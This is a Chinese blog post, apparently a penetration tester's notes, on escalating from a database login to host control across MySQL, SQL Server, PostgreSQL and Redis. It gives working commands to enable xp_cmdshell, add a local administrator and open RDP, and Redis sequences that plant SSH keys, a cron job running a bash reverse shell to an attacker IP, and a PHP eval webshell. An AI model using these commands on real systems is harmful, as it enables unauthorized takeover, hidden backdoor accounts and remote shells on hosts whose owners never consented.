渗透过程中的数据库提权思路

在渗透测试中,我们可能误打误撞得到了几个粗心管理员的数据库密码,当我们一脸欣喜的连接上后,却发现库子里一清二白,或者找不到跟web项目的对应关系,那就只能从数据库层面入手,一步步夺取目标主机权限。
下面总结了一下几种常见数据库的提权思路。


mysql

作为目前使用人数最多也是最受欢迎的数据库,在大型的渗透测试中,很有可能就被扫出一两个弱密码,但时代早就变了,mysql早已已经不是那个写个webshell就直接root的傻白甜了,secure-file-priv直接将无数hacker阻于门外,虽然现在网上还有许多UDF和mof的提权方法,但后者适用范围极其严苛:

  1. windows2003server之前版本
  2. 可写入c:/windows/system32/wbem/mof权限
  3. secure-file-priv参数不为null

并且就算写入成功后也有种种可能连接不上,所以建议先写个ping脚本测一测,具体poc会放在下一篇博客。
UDF版本的也没好到哪去,还是secure-file-priv的锅,大部分数据库都没有写入插件路径的权限。
现在来看最靠谱的可能是写日志获取web shell,当然限制也很多:

  1. 目标站点搭载web应用
  2. 具有对网站根目录写入的权限

总结来说就是一句话:mysql提权,看命(5.7版本以前的除外)

sqlserver

作为同样受欢迎的老牌数据库,mssql明显友好的多,利用xp_cmdshell可以解决绝大部分数据库,具体命令如下:

#开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
 
#关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

#添加用户
exec master..xp_cmdshell 'net user test test. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
 
 #开启rdp端口
 exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

一把梭,没什么好说的

postgresql

这也是我之前一直忽视的一个数据库,最近才发现postgres提权格外好用,基本通杀全版本,再加上它优良的弱密码传统,如果不是postgres组用户权限太低,postgresql绝对能排数据库组第一,不过渗透中利用它读读目标上的敏感数据啥的也是极好的。
同样UDF提权,失败可能性很小,就是需要注意分字节传输,具体脚本同样放在之后的博客里。

redis

上古遗留问题,现在利用可能性不是很大,很少会有root权限下开放的redis了,拿到后还是先找web的根目录最要紧。
利用方式如下:(前提是redis存在未授权访问或已知redis密码)

  1. 写入ssh公钥(需root权限)
     #将公钥写入key.txt文件中(前后用\n换行,避免和redis里其他缓存数据混合)
    (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
    
    #再将key.txt文件内容写入redis库中
    cat /root/.ssh/key.txt | redis-cli -h *ip* -x set pub
    
    #设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
    config set dir /root/.ssh
    ok
    config set dbfilename authorized_keys
    ok
    #测试免密登录
    ssh -i /root/.ssh/id_isa ip
    
  2. 利用cron计划任务执行命令反弹shell(需root权限)
    root@kali:~# redis-cli -h 192.168.10.128
    192.168.10.128:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.101/6666 0>&1\n"
    OK
    192.168.10.128:6379> config set dir /var/spool/cron/
    OK
    192.168.10.128:6379> config set dbfilename root
    OK
    192.168.10.128:6379> save
    OK
    
  3. 写入webshell(需要知道web应用的绝对路径)
	root@kali:~# redis-cli -h 192.168.10.128
	192.168.10.128:6379> set x “<?php @eval($_GET("passer"))>”
	OK
	192.168.10.128:6379> config set dir /var/www/html/
	OK
	192.168.10.128:6379> config set dbfilename test.php
	OK
	192.168.10.128:6379> save
	OK

之后即可在网站url根目录后添加test.php连接。
总结:redis提权也是一件费力不讨好的事,利用难度较大,可结合ssrf针对性利用。

持续更新中,主要以我渗透过程中遇到的数据库为主,总结一下实战经验,memecache之类的,以后实战中遇到后会进行添加

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值